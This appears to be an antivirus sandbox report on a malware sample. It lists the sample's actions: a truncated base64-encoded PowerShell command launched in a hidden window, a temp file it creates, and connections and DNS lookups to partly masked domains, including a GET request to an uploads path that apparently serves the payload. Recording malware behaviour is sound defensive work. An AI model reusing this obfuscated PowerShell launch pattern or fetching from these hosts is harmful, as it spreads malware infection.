Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAFgAUgBWAEUAZgByAHIAPQAnAFgARwBEAEYATQB1AG4AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAHIASQBgAFQAWQBQAFIATwBgAFQAbwBDAGAATwBsACIAIAA9AC...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1960
Modifies file system
Creates the following files
- %TEMP%\1222751.cvr
Network activity
Connects to
- 'ko##aci.com':443
- 'la####anemusic.com':80
- 'la####anemusic.com':443
- 'ki###nime24.com':443
- 'pk#.goog':80
- 'qi###long.com':443
TCP
HTTP GET requests
- http://la####anemusic.com/uploads/ih_03_krekp/
- http://pk#.goog/gsr1/gsr1.crt
Other
- 'ko##aci.com':443
- 'la####anemusic.com':443
- 'ki###nime24.com':443
UDP
- DNS ASK ko##aci.com
- DNS ASK la####anemusic.com
- DNS ASK ki###nime24.com
- DNS ASK pk#.goog
- DNS ASK qi###long.com
- DNS ASK la###c.com.br
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAFgAUgBWAEUAZgByAHIAPQAnAFgARwBEAEYATQB1AG4AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAHIASQBgAFQAWQBQAFIATwBgAFQAbwBDAGAATwBsACIAIAA9AC...' (with hidden window)
